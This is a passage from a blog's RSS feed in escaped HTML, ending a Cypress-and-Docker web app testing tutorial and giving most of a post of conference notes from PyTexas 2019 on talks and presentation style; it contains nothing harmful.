&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> cy.get(&lt;span style="color:#ed9d13">&amp;#34;.results p&amp;#34;&lt;/span>).should(&lt;span style="color:#ed9d13">&amp;#34;contain&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;You are feeling: Content&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>});
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/painless-web-app-testing/spec.js" download class="download-raw-button">download spec.js&lt;/a>
 &lt;/div>


&lt;p>Even if you&amp;rsquo;re unfamiliar with &lt;a href="https://docs.cypress.io/api/api/table-of-contents.html">the Cypress API&lt;/a>, its semantics are readable enough that you probably understand the tests intuitively. In plain English, both tests follow the same sequence:&lt;/p>
&lt;ol>
&lt;li>In the browser, navigate to the &lt;code>/analyze&lt;/code> path in the Sentimentalyzer web app.&lt;/li>
&lt;li>Find the text field.&lt;/li>
&lt;li>Enter some text.&lt;/li>
&lt;li>Submit the form.&lt;/li>
&lt;li>Read the results.&lt;/li>
&lt;/ol>
&lt;p>I&amp;rsquo;ll walk through the first test line by line:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.visit(&lt;span style="color:#ed9d13">&amp;#34;/analyze&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>This line tells Cypress to load the &lt;code>/analyze&lt;/code> path of Sentimentalyzer in the browser. Cypress combines this with the &lt;code>CYPRESS_baseUrl&lt;/code> environment variable, which I defined in &lt;a href="#docker-composeyml">&lt;code>docker-compose.yml&lt;/code>&lt;/a>, above, so the full URL is &lt;code>http://sentimentalyzer:8123/analyze&lt;/code>. You can&amp;rsquo;t access that URL from your development machine, but it&amp;rsquo;s a valid address within the Cypress container.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;#feelings&amp;#34;&lt;/span>).type(&lt;span style="color:#ed9d13">&amp;#34;I REALLY need some COFFEE&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Next, I tell Cypress to find the text field. This is easy because the text field has a unique ID, &lt;code>feelings&lt;/code>, so I specify the element using CSS selector syntax: &lt;code>#feelings&lt;/code>.&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 710px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/feelings-element.png">
 &lt;img
 
 sizes="(min-width: 768px) 710px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/feelings-element_hu_9da70862604238e1.png 300w, https://mtlynch.io/painless-web-app-testing/feelings-element_hu_b36ebc4943aab2ce.png 600w, https://mtlynch.io/painless-web-app-testing/feelings-element.png 710w'
 src="https://mtlynch.io/painless-web-app-testing/feelings-element.png" alt="Finding HTML id of feelings element" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>The &lt;a href="https://docs.cypress.io/api/commands/type.html">&lt;code>type()&lt;/code> function&lt;/a>, tells Cypress to type some text into the field I specified.&lt;/p>
&lt;p>Next, Cypress has to submit the form. Cypress provides a &lt;a href="https://docs.cypress.io/api/commands/submit.html">&lt;code>submit()&lt;/code> function&lt;/a> for this common task. There&amp;rsquo;s only one &lt;code>&amp;lt;form&amp;gt;&lt;/code> element on the page, so it&amp;rsquo;s trivial to retrieve it with the CSS selector of &lt;code>form&lt;/code> and then to submit the form:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;form&amp;#34;&lt;/span>).submit();
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Submitting the form should bring Cypress to Sentimentalyzer&amp;rsquo;s results page. Cypress needs to check for the text &lt;code>&amp;quot;You are feeling: Angry&amp;quot;&lt;/code> but it&amp;rsquo;s a bit trickier since the &lt;code>&amp;lt;p&amp;gt;&lt;/code> tag that contains it lacks an ID attribute:&lt;/p>













 








 
 
 

 
 
 






&lt;div class="img" style="max-width: 704px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/results-element.png">
 &lt;img
 
 sizes="(min-width: 768px) 704px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/results-element_hu_56dccf4e85e5d38.png 300w, https://mtlynch.io/painless-web-app-testing/results-element_hu_733116b85cc2c86.png 600w, https://mtlynch.io/painless-web-app-testing/results-element.png 704w'
 src="https://mtlynch.io/painless-web-app-testing/results-element.png" alt="Finding CSS selector for result &amp;lt;p&amp;gt; tag" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I again use CSS selector syntax to locate the relevant text by specifying a &lt;code>&amp;lt;p&amp;gt;&lt;/code> element under a DOM node whose class is &lt;code>&amp;quot;results&amp;quot;&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-javascript" data-lang="javascript">&lt;span style="display:flex;">&lt;span>cy.get(&lt;span style="color:#ed9d13">&amp;#34;.results p&amp;#34;&lt;/span>).should(&lt;span style="color:#ed9d13">&amp;#34;contain&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;You are feeling: Angry&amp;#34;&lt;/span>);
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;a href="https://docs.cypress.io/guides/references/assertions.html#Chai-jQuery">&lt;code>contain&lt;/code> assertion&lt;/a> verifies that the &lt;code>&amp;lt;p&amp;gt;&lt;/code> tag contains the text I expect.&lt;/p>
&lt;h2 id="running-my-tests">Running my tests&lt;/h2>
&lt;p>Now that everything is in place, it&amp;rsquo;s time to see Cypress in action. I run my tests with a simple command:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">cd&lt;/span> e2e
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>docker-compose up --exit-code-from cypress
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The &lt;code>--exit-code-from cypress&lt;/code> flag tells Docker Compose to use the Cypress container&amp;rsquo;s exit code as the exit code for the &lt;code>docker-compose&lt;/code> command. This means that the command has an exit code of zero when the tests pass and a non-zero exit code on test failure. This behavior is handy for build scripts or continuous integration configurations that use a command&amp;rsquo;s exit code to determine if it succeeded.&lt;/p>
&lt;p>Here&amp;rsquo;s what the whole process looks like from the console:&lt;/p>
&lt;div style="text-align: center">
 &lt;script id="asciicast-rrgFQhVCcbf3495qZHXtoQsyj" src="https://asciinema.org/a/rrgFQhVCcbf3495qZHXtoQsyj.js" data-speed="1.2" data-cols="122" async>&lt;/script>
&lt;/div>
&lt;p>Cypress creates a video recording of every test run. This is my favorite feature, as it&amp;rsquo;s a tremendous help in diagnosing test failures:&lt;/p>




&lt;figure class="video">
 &lt;div class="video-inner">
 &lt;video controls>
 &lt;source src="spec.js.mp4" type="video/mp4">
 Your browser does not support the video tag.
 &lt;/video>
 
 &lt;figcaption>&lt;p>Cypress recording of end-to-end tests (slowed down to 1/4 speed)&lt;/p>&lt;/figcaption>
 
 &lt;/div>
&lt;/figure>

&lt;h2 id="test-failure-screenshots">Test failure screenshots&lt;/h2>
&lt;p>Above, I showed you a test that passed. What happens when a Cypress test fails? It still generates a video of the test run, but it also outputs a screenshot showing the assertion that failed:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/painless-web-app-testing/detects%20angry%20sentiment%20%28failed%29.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/painless-web-app-testing/detects%20angry%20sentiment%20%28failed%29_hu_e816636a1b5260e4.png 300w, https://mtlynch.io/painless-web-app-testing/detects%20angry%20sentiment%20%28failed%29_hu_baafdf56caee576e.png 600w, https://mtlynch.io/painless-web-app-testing/detects%20angry%20sentiment%20%28failed%29_hu_45724965ae8bc52d.png 800w, https://mtlynch.io/painless-web-app-testing/detects%20angry%20sentiment%20%28failed%29_hu_721807846f20d2a0.png 1200w, https://mtlynch.io/painless-web-app-testing/detects%20angry%20sentiment%20%28failed%29.png 1280w'
 src="https://mtlynch.io/painless-web-app-testing/detects%20angry%20sentiment%20%28failed%29.png" alt="Cypress screenshot output on failure" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Screenshot that Cypress generated when my test failed (Cypress expected the word &amp;ldquo;Furious&amp;rdquo; but instead found &amp;ldquo;Angry&amp;rdquo;)&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>This solves a major pain point I experienced with other tools. Selenium supports screenshots but only before or after an assertion. That limitation led to frustrating scenarios where Selenium claimed the test failed, but the screenshot showed correct behavior because the browser state changed after the test failed.&lt;/p>
&lt;p>Cypress avoids this problem because its screenshots happen concurrently with its assertions. If a test fails, the screenshot shows you precisely what Cypress saw at the time of the failure.&lt;/p>
&lt;h2 id="adapting-this-for-your-web-app">Adapting this for your web app&lt;/h2>
&lt;p>Those three files are all you need to start end-to-end testing your web app. Here are the steps:&lt;/p>
&lt;ol>
&lt;li>Copy the &lt;a href="https://github.com/mtlynch/hello-world-cypress/tree/master/e2e">&lt;code>e2e&lt;/code> folder&lt;/a> into your project.&lt;/li>
&lt;li>Replace the &lt;code>sentimentalyzer&lt;/code> section in &lt;a href="#docker-composeyml">&lt;code>docker-compose.yml&lt;/code>&lt;/a> with a Docker container for your app.&lt;/li>
&lt;li>Rewrite &lt;a href="#integrationspecjs">&lt;code>integration/spec.js&lt;/code>&lt;/a> based on your app&amp;rsquo;s UI flow.&lt;/li>
&lt;/ol>
&lt;h2 id="source-code-and-additional-examples">Source code and additional examples&lt;/h2>
&lt;p>The full source for this demo is available on GitHub:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/hello-world-cypress">mtlynch/hello-world-cypress&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>I also created several branches to demonstrate other common Cypress scenarios:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/mtlynch/hello-world-cypress/tree/circle">How to run tests on Circle CI&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/hello-world-cypress/tree/travis">How to run tests on Travis CI&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/hello-world-cypress/tree/chrome">How to run tests in the Chrome browser&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://github.com/mtlynch/hello-world-cypress/tree/firefox">How to run tests in the Firefox browser&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="further-reading">Further reading&lt;/h2>
&lt;p>This guide provided a basic introduction to Cypress. For more advanced functionality, check out the official Cypress docs:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://docs.cypress.io/guides/core-concepts/introduction-to-cypress.html">Introduction to Cypress&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://docs.cypress.io/guides/getting-started/writing-your-first-test.html">Writing Your First Test&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Update (2019-05-02)&lt;/strong>: In response to this post, the Cypress team published &lt;a href="https://hub.docker.com/r/cypress/included">an official Docker image&lt;/a> that has Cypress pre-installed. I&amp;rsquo;ve revised this tutorial to integrate their new image. Check out &lt;a href="https://www.cypress.io/blog/run-cypress-with-a-single-docker-command">the Cypress blog post&lt;/a> for additional details about their images and more tricks for using Cypress and Docker together.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Illustrations by Loraine Yow. Thanks to &lt;a href="https://glebbahmutov.com/">Gleb Bahmutov&lt;/a> from the Cypress team for providing early feedback on this article.&lt;/em>&lt;/p></content:encoded></item><item><title>Notes from PyTexas 2019</title><link>https://mtlynch.io/retrospectives/pytexas-2019-notes/</link><pubDate>Thu, 18 Apr 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/pytexas-2019-notes/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>This past weekend, &lt;a href="https://2019.pytexas.org">PyTexas&lt;/a> invited me to speak at their annual conference in Austin, Texas.&lt;/p>
&lt;p>It was a fun trip, and I learned a lot. It was also expensive, both financially and in terms of time. I&amp;rsquo;m taking these notes partly to share what I learned and partly to help me decide whether the benefits I get from attending conferences outweigh the costs.&lt;/p>
&lt;h2 id="favorite-talks">Favorite Talks&lt;/h2>
&lt;h3 id="intentional-deployment-best-practices-for-feature-flag-management">Intentional Deployment: Best Practices for Feature Flag Management&lt;/h3>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/AD8LSdy7b2s?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: &lt;a href="https://www.linkedin.com/in/caitlin-rubin-a3b1a2103/">Caitlin Rubin&lt;/a> from Optimizely&lt;/p></description><content:encoded>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>This past weekend, &lt;a href="https://2019.pytexas.org">PyTexas&lt;/a> invited me to speak at their annual conference in Austin, Texas.&lt;/p>
&lt;p>It was a fun trip, and I learned a lot. It was also expensive, both financially and in terms of time. I&amp;rsquo;m taking these notes partly to share what I learned and partly to help me decide whether the benefits I get from attending conferences outweigh the costs.&lt;/p>
&lt;h2 id="favorite-talks">Favorite Talks&lt;/h2>
&lt;h3 id="intentional-deployment-best-practices-for-feature-flag-management">Intentional Deployment: Best Practices for Feature Flag Management&lt;/h3>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/AD8LSdy7b2s?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: &lt;a href="https://www.linkedin.com/in/caitlin-rubin-a3b1a2103/">Caitlin Rubin&lt;/a> from Optimizely&lt;/p>
&lt;p>Feature flags allow a software team to change an application&amp;rsquo;s behavior at runtime rather than pushing an entirely new deployment. For substantial changes, you often want to do a progressive rollout, enabling it for 1% of users, then 5%, then 25%, just so that you can limit the damage if the change causes things to blow up in production. Teams frequently achieve this slow rollout with feature flags.&lt;/p>
&lt;p>Feature flags suffer from the &lt;a href="https://en.wikipedia.org/wiki/Tragedy_of_the_commons">tragedy of the commons&lt;/a> problem. It&amp;rsquo;s easy for any individual developer to add a flag for their new feature, but if everyone constantly puts in new feature flags, the application accrues so many different execution paths that it becomes difficult to reason about the program&amp;rsquo;s behavior. Further, once the team enables a feature globally, the developer has little incentive to do the grungy work of removing the branching logic and eliminating the flag.&lt;/p>
&lt;p>This talk succinctly explained feature flags, why they can cause problems, and shared concrete steps for preventing those issues. In particular, I liked Caitlin&amp;rsquo;s suggestion of a &amp;ldquo;WIP limit&amp;rdquo; - a work in progress limit. If your team sets a WIP limit of two, then only two feature flags can exist at a given time. This encourages developers to be thoughtful about when to use feature flags and ensures that developers remove the flags when the application no longer requires the branching feature logic.&lt;/p>
&lt;p>Other things I liked:&lt;/p>
&lt;ul>
&lt;li>Slide deck was clean, never overwhelming the audience with text&lt;/li>
&lt;li>Slides advanced or updated every few seconds to keep things moving&lt;/li>
&lt;li>Caitlin telegraphed comfort on stage, spoke clearly and calmly&lt;/li>
&lt;li>Good mix of humor sprinkled throughout the presentation&lt;/li>
&lt;/ul>
&lt;h3 id="free-yourself-from-your-orm-with-mypy">Free yourself from your ORM with mypy!&lt;/h3>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/oLvEXiV0L-Q?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: Thomas Stephens from uStudio&lt;/p>
&lt;p>I&amp;rsquo;ve always had an aversion to object-relational mapping (ORM) frameworks. They allow developers to move application objects in and out of data stores without having to implement a lot of serialization and deserialization logic by hand. Thomas articulated the problem I&amp;rsquo;ve always had with ORM systems but could never put into words: they bind your object model to your ORM framework.&lt;/p>
&lt;p>I&amp;rsquo;ve also seen &lt;a href="https://mypy-lang.org/">mypy&lt;/a> and understood the appeal, but I tried it about a year ago and had a hard time getting it to work on my projects (most of which are Python 2.7), so I just gave up. If you haven&amp;rsquo;t seen it, it&amp;rsquo;s a static type checker for Python. It reads &lt;a href="https://www.python.org/dev/peps/pep-0484/">PEP 484&lt;/a> type hints in your code and tells you when you&amp;rsquo;re violating them.&lt;/p>
&lt;p>This talk provided a gentle introduction to mypy and highlighted a far-reaching benefit of using it. Namely, implementing your own data serialization and deserialization without too much hassle and leaning. Thomas demonstrated how you can lean on the type checker heavily to prevent common serialization errors.&lt;/p>
&lt;p>Other things I liked:&lt;/p>
&lt;ul>
&lt;li>Clear articulation of the problem he&amp;rsquo;s trying to solve&lt;/li>
&lt;li>Simple live-coding that was easy to follow&lt;/li>
&lt;li>Code was elegant and clear&lt;/li>
&lt;/ul>
&lt;h3 id="when-booleans-are-not-enough-state-machines">When Booleans Are Not Enough&amp;hellip; State Machines?&lt;/h3>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/I1Mzx_tSpew?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: &lt;a href="https://twitter.com/harph">Harrington Joseph&lt;/a> from Netflix&lt;/p>
&lt;p>&lt;strong>&lt;a href="https://speakerdeck.com/hjoseph/when-booleans-are-not-enough-dot-dot-dot-state-machines">Slides&lt;/a>&lt;/strong>&lt;/p>
&lt;p>Applications often use booleans to track an object&amp;rsquo;s state. Because Harrington is with Netflix, he used the example of a video player, which highlighted the issue well. A video can either be playing, paused, or stopped. A naive approach would track this with booleans like &lt;code>is_playing&lt;/code> and &lt;code>is_paused&lt;/code>.&lt;/p>
&lt;p>Managing state like this imposes a heavy burden on the developer because now they have to do a lot of work to deduce state. Inferring a &amp;ldquo;stopped&amp;rdquo; state requires checking &lt;code>is_playing == False and is_paused == False&lt;/code>, which is convoluted. It also puts a lot of work on the developer to check illegal state transitions. For example, you can&amp;rsquo;t pause a video that&amp;rsquo;s already stopped, so enforcing that restriction clutters your code.&lt;/p>
&lt;p>Harrington demonstrated how the &lt;a href="https://github.com/pytransitions/transitions">pytransitions library&lt;/a> elegantly solves that problem. It allows you to define your application&amp;rsquo;s state transitions with a simple list of states — then the library manages all the transitions for you. You can check which state you&amp;rsquo;re in, and the library raises an exception on any illegal state transition; you don&amp;rsquo;t have to write any code to check it manually.&lt;/p>
&lt;p>Other things I liked:&lt;/p>
&lt;ul>
&lt;li>Beautiful slides
&lt;ul>
&lt;li>The dark theme worked well&lt;/li>
&lt;li>The full-screen code snippets with syntax highlighting made it easy to read&lt;/li>
&lt;li>Great diagrams of state machines that were easy to understand&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Clear code examples
&lt;ul>
&lt;li>Elided out code that wasn&amp;rsquo;t relevant to his core point, making everything easy to think about&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="other-notable-takeaways">Other notable takeaways&lt;/h2>
&lt;h3 id="there-are-code-review-tools-for-prose">There are code review tools for prose&lt;/h3>
&lt;p>This had nothing to do with Python but was a valuable gem I picked up serendipitously by talking to another conference attendee.&lt;/p>
&lt;p>One idea I&amp;rsquo;ve had for a future project is to build something like &lt;a href="https://reviewable.io/">Reviewable&lt;/a>, but for prose content instead of code. I&amp;rsquo;ve searched for tools like that but found only heavyweight tools geared toward large publishers (e.g., tools for newspapers, optimized for complicated workflows with many approvers). When I talked to Caitlin Rubin, she mentioned to me that she knew of a tool like that called &lt;a href="https://www.penflip.com/" rel="nofollow">Penflip&lt;/a>.&lt;/p>
&lt;p>The first day I tried visiting Penflip, I got a 502 gateway error even after many retries. The next day, the page loaded, but everything was extremely slow and ultimately led to unrecoverable server errors. So, it seems like it might not be an active product anymore.&lt;/p>
&lt;p>Still, having one product name gave me a toehold to search for others. Apparently, there&amp;rsquo;s a whole mess of &amp;ldquo;code review, but for content&amp;rdquo; products out there that have failed:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://draftin.com/" rel="nofollow">Draft&lt;/a>: One of the few still-functional editing apps but doesn&amp;rsquo;t seem to support reviews well.&lt;/li>
&lt;li>&lt;a href="http://stet.editorially.com/articles/goodbye/">Editorially&lt;/a>: This was a free tool that people reputedly loved, but it shut down in 2014. I found many articles mourning its closure.&lt;/li>
&lt;li>&lt;a href="https://typewrite.io" rel="nofollow">Typewrite&lt;/a>: Site is still up, but functionality is broken to the point that I can&amp;rsquo;t even sign up. Last Twitter post was in 2014, so I think it&amp;rsquo;s dead.&lt;/li>
&lt;li>Poetica: I&amp;rsquo;ve seen this mentioned, but it&amp;rsquo;s now dead. Didn&amp;rsquo;t seem especially popular.&lt;/li>
&lt;/ul>
&lt;h3 id="the-zen-of-python">The Zen of Python&lt;/h3>
&lt;p>Several speakers mentioned &lt;a href="https://www.python.org/dev/peps/pep-0020/">The Zen of Python&lt;/a>, a famous list of guiding principles for Python. I had never seen this list before, but they&amp;rsquo;re good to know. They also appear in any Python interpreter if you type &lt;code>import this&lt;/code>.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-text" data-lang="text">&lt;span style="display:flex;">&lt;span>&amp;gt;&amp;gt;&amp;gt; import this
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>The Zen of Python, by Tim Peters
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Beautiful is better than ugly.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Explicit is better than implicit.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Simple is better than complex.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Complex is better than complicated.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Flat is better than nested.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Sparse is better than dense.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Readability counts.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Special cases aren&amp;#39;t special enough to break the rules.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Although practicality beats purity.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Errors should never pass silently.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Unless explicitly silenced.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>In the face of ambiguity, refuse the temptation to guess.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>There should be one-- and preferably only one --obvious way to do it.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Although that way may not be obvious at first unless you&amp;#39;re Dutch.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Now is better than never.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Although never is often better than *right* now.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>If the implementation is hard to explain, it&amp;#39;s a bad idea.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>If the implementation is easy to explain, it may be a good idea.
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Namespaces are one honking great idea -- let&amp;#39;s do more of those!
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="pycon-is-a-big-deal">PyCon is a big deal&lt;/h3>
&lt;p>Several people spoke glowingly of PyCon. PyTexas is a small, regional conference, but PyCon is national — the big leagues. It sounds like the quality of presentations is high and there are more helpful people to meet. I had been relying on &lt;a href="https://www.papercall.io/">PaperCall&lt;/a> to show me upcoming conferences, but I don&amp;rsquo;t think PyCon used it, so I missed the submission deadline. I need to add it to my calendar for next year.&lt;/p>
&lt;h2 id="what-made-presentations-effective">What made presentations effective&lt;/h2>
&lt;ul>
&lt;li>Speaker comfort
&lt;ul>
&lt;li>The talks that were the best were ones where the speaker felt comfortable and took their time.&lt;/li>
&lt;li>The best example of this was Adrienne Lowe&amp;rsquo;s keynote, &lt;a href="https://www.youtube.com/watch?v=OmvUbHtSAaM">&amp;ldquo;The Zen of Python Teams.&amp;rdquo;&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Personalization
&lt;ul>
&lt;li>I found talks more engaging when the speaker was part of the story. What problem were you trying to solve? What were the challenges you faced? What did you learn? Answering these questions was far more engaging than just a dry summary of &amp;ldquo;did you know tool X exists to solve problem Y?&amp;rdquo;&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="what-weakened-presentations">What weakened presentations&lt;/h2>
&lt;ul>
&lt;li>Mic issues
&lt;ul>
&lt;li>It&amp;rsquo;s unfortunate that one of the most common things to take me out of presentations was something so basic and boring as audio quality.&lt;/li>
&lt;li>The conference used the &lt;a href="https://upload.wikimedia.org/wikipedia/commons/5/5e/Tony_Robbins.jpg">Tony Robbins-style over the ear mic&lt;/a>, which many speakers had trouble positioning correctly, so audio would often drift in and out.&lt;/li>
&lt;li>Other speakers chose a handheld mic but had trouble holding it close enough to their mouth and speaking loudly enough for the mic to pick it up.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Slide lethargy
&lt;ul>
&lt;li>The best presenters kept their slides moving briskly. They either advanced a slide or made a new bullet appear at least once every 30 seconds. I remember a feeling of &amp;ldquo;stuckness&amp;rdquo; when presenters kept the same slide up without changing anything for 60 seconds or more.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Script-reading
&lt;ul>
&lt;li>Part of the fun of attending a live conference is that you, as the attendee, are part of the talk. The speaker is responding to your energy and adapting their presentation accordingly. When the speaker has long sections that they&amp;rsquo;re reading verbatim from a script (or worse, when the entire presentation is a static script), you lose the fun of a live presentation.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Animated gifs
&lt;ul>
&lt;li>I found these distracting, especially if they sat on the screen looping for more than a few seconds.&lt;/li>
&lt;li>I often felt the cheap joke undermined the speaker&amp;rsquo;s point.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&amp;ldquo;This is an old slide.&amp;rdquo;
&lt;ul>
&lt;li>A few presentations included information that was a year or two out of date because they were recycled from previous conferences. The speaker excused it by saying the slide was old, but it always made me feel disappointed that the speaker didn&amp;rsquo;t care enough about their talk to do a run-through beforehand to catch these issues.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="critiquing-my-own-talk">Critiquing my own talk&lt;/h2>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
 &lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/hM_ex4-xu4E?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
 &lt;/div>

&lt;p>&lt;strong>Speaker&lt;/strong>: Michael Lynch (me)&lt;/p>
&lt;p>&lt;strong>&lt;a href="https://mtlynch.page.link/gdbt">Slides&lt;/a>&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>
